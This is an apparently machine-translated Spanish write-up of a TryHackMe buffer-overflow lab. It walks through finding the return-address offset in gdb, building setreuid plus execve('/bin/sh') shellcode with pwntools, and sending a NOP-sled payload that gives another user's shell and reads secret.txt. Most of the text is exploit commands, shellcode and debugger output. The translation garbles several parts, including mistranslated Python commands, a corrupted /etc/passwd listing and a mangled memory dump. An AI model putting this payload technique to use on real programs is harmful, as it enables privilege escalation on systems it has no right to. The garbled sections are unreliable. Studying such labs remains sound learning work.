(GDB) Ejecutar $ (Python -C "PRINT ('A'*162)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "imprime ('a'*157)") La nueva palabra es doggoaaaaaaaa programa recibido señal sigsegv, falla de segmentación. 0x000000004005D3 en Main ()
No hay "41", por lo que no se ha sobrescrito.
Acabo de ingresar a 164 bytes y lo ejecuté.
(GDB) Ejecutar $ (Python -C "Impresión ('A'*164)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "imprime ('a'*164)") La nueva palabra es doggoaaaaaaaa un programa recibido señal sigsegv, falla de segmentación. 0x00000000400041 en ?? ()
Hay "41", por lo que se ha sobrescrito correctamente.
Me gustaría saber el final de la dirección de regreso, así que intentaré ingresar 169 bytes.
(GDB) Ejecutar $ (Python -C "Impresión ('A'*169)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "print ('a'*169)") La nueva palabra es doggoaaaaaaaa programa recibido señal sigsegv, falla de segmentación. 0x00004141414141 en ?? ()
Todo está lleno de "41".
Solo para estar seguro, intente ejecutarlo con 170 bytes.
(GDB) Ejecutar $ (Python -C "Impresión ('A'*170)") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "imprime ('a'*170)") La nueva palabra es doggoaaaaaaaa un programa recibido señal sigsegv, falla de segmentación. 0x000000004005AB en concat_arg ()
Estoy haciendo demasiado, así que estoy usando una dirección diferente.
Ahora sabemos que 6 bytes de 164 a 169 son las direcciones de devolución.
La versión hexadecimal del shellcode es la misma que antes.
\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05
Para verificar este secreto.txt, debe ser user3, por lo que también agregaré el código setreuid ().
Primero, verifiquemos el UID de User3.
[user1@IP-10-10-232-238 Overflow-4] $ cat/etc/passwd root: x: 0: 0: root:/root:/bin/bash bin: x: 1: 1: bin:/bin:/sbin/nologin demoemon: x: 2: 2: daemon:/sbin:/sbin/nologin ADM: X: 3: 4: adm:/var/adm:/sbin/nologin lp: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin sincron halt: x: 7: 0: halt:/sbin:/sbin/halt mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin operator: x: 11: 0: operador:/root:/sbin/nologin juegos: x: 12: 100: juegos:/usr/juegos:/sbin/nodology ftp: x: 14: 50: 50: 50: 50: 50 Usuario:/var/ftp:/sbin/nologin nadie: x: 99: 99: nadie:/:/sbin/nologin systemd-network: x: 192: 192: systemd gestión de red:/:/sbin/nologin dbus: x: 81: 81: sistema de mensajes del sistema:/:/sbin/rpc: x: 32: 32: 32: rpbbbbbbbbbbbbbbbbbbbbbbbBebB Demonio:/var/lib/rpcbind:/sbin/nologin libstoragemgmt: x: 999: 997: cuentas de demonio para libstoragemgmt:/var/run/lsm:/sbin/nologin sshd: x: 74: 74: ssh:/var/vacía/sshd:/sshd:/sbin/sbin RPCuser: X: 29: 29: RPC Servicio Usuario:/var/lib/nfs:/sbin/nologin nfsnobody: x: 65534: 65534: user de NFS anónimo:/var/lib/nfs:/sbin/nologin EC2-Instance-Connect: X: 998: 996 ::/Home/EC2-Instance-Connect:/Sbin/Nologin Postfix: X: 89: 89 ::/var/spool/postfix:/sbin/nologin Chrony: x: 997: 995 ::/var/lib/crony:/sbin/nologin tcpdump: x: 72: 72 ::/sbin/nologin EC2-User: x: 1000: 1000: EC2 Usuario predeterminado:/Home/EC2-User:/bin/Bash User1: X: 1001: 1001 ::/Home/User1:/Bin/Bash User2: X: 1002: 1002 ::/Home/User2:/Bin/Bash User3: x: 1003: 1003 ::/home/user3:/bin/bash
El UID de User3 es 1003.
Usando pwnTools, generaremos el código hexadecimal para la parte setreuid ().
┌── (Hacklab㉿hackLab) -[~] └─ $ pwn shellcraft -fd amd64.linux.setreuid 1003 \ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05
El código final se ve así:
es 54 bytes en total.
\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
A continuación, buscaremos la dirección del código de shell de hexadecimal.
Asegúrese de que basura (87 byte) + shellcode (54byte) + basura (22 byte) + dirección de retorno (6byte) = 169byte.
En la basura antes del shellcode, agregue NOP (\ x90) por adelantado.
(GDB) Ejecutar $ (Python -C "Impresión '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e \x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*22+'B'*6") El programa que se está depurando ya se ha iniciado. Comenzar desde el principio? (y o n) y programa inicial:/home/user1/overflow-4/buffer-overflow-2 $ (python -c "impresión '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e \x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05'+'A'*22+'B'*6") La nueva palabra es doggo1fjqxhj; xh1i // bin/shiaphrwhj
La dirección de devolución es "B", por lo que está lleno de "42".
Volcar la ubicación de la memoria.
(gdb) x/100x $rsp-200 0x7fffffffe218: 0x004005a9 0x000000000 0xf7fffa268 0x00007ffff 0x7fffffffe228: 0xffffe63a 0x00007ffff 0x67676f64 0x9090906f 0x7fffffffffe238: 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe248: 0x90909090 0x909090 0x7fffffffffe248: 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffe258: 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe268: 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x7ffffffffe278: 0x909090 0x909090 0x90909090 0x7ffffffffe288: 0x909090 0xbf66631 0x7166a03eB 0xfe894858 0x7ffffffffe298: 0x3b6a050f 0xd2314858 0x2f2fb849 0x2f6e6962 0x7fffffffe2a8: 0xc1496873 0x504108e8 0x52e78948 0xe6894857 0x7fffffffe2b8: 0x3c6a050f 0xff314858 0x4141050f 0x414141 0x7fffffffe2c8: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2d8: 0x424242 0x00004242 0xfffffe3d8 0x00007ffff 0x7fffffffe2e8: 0x0000000 0x0000002 0x004005e0 0x0000000 0x7fffffffe2f8: 0xf7a4302a 0x0000007ffff 0x0000000 0x000000000000000000000000000000000088: 0xf7a4302a 0x00007ffff 0x0000000 0x0000000000000000000000000000000000888: 0xf7a4302a 0x00007ffff 0x0000000 0x00000000000000000000000000000000000088: 0XF7A4302A 0X00007FFFF 0X0000000 0x000000000000000000000000000000IFFFEFECHE308: 0xffEfE. 0x00007ffff 0x000040000 0x0000002 0x7fffffffffe318: 0x004005ac 0x000000 0x000000 0x000000 0x7fffffffe328: 0x04bbf356 0x29eb8017 0x00400450 0x0000000 0x7fffffe338: 0xfffffe 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0x7ffffffffffe348: 0x0000000 0x000000 0xc97bf356 0xd6147f68 0x7fffffffe358: 0x50bff356 0xd6146fdf 0x000000000000000000000000000000 0x7fffffffe368: 0x0000000 0x000000 0x0000000 0x0000000 0x7ffffffffffe378: 0xfffffe3f0 0x000007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe388: 0xf7de7656 0x00007ffff 0x0000000 0x0000000000000000 0x7fffffffffe398: 0x000000 0x0000000 0x0000000
Hay un código de shell en la segunda columna de 0x7fffffffe288.
En cualquier lugar que complete con NOP esté bien, pero esta vez, hagamos "0x7fffffffe288" el destino de regreso.
Establezca B en la dirección de retorno: 0x7fffffffe288 ⇒ 0x88e2ffffff7f ⇒ \ x88 \ xe2 \ xff \ xff \ xff \ x7f.
[user1@IP-10-10-232-238 Overflow-4] $ ./Buffer-Overflow-2 $ (Python -C "Impresión '\ x90'*87+'\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '*22+' \ x88 \ xe2 \ xff \ xff \ xff \ x7f '") La nueva palabra es doggo1fjqxhj; xh1i // bin/shiaphrwhj
Pude obtener con éxito el shell del usuario3.
Finalmente, verifique Secret.txt.
SH-4.2 $ Cat Secret.txt wowanothertime !!
Respuesta

resumen
Esta vez, en realidad probé el desbordamiento del búfer.
Para ser honesto, todavía no entiendo el mecanismo de la memoria, pero creo que entiendo cómo desbordarse.
Referencias y sitios
El blog de Bob Loblaw: https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
L1ge’s Cabin: https://l1ge.github.io/tryhackme_bof1/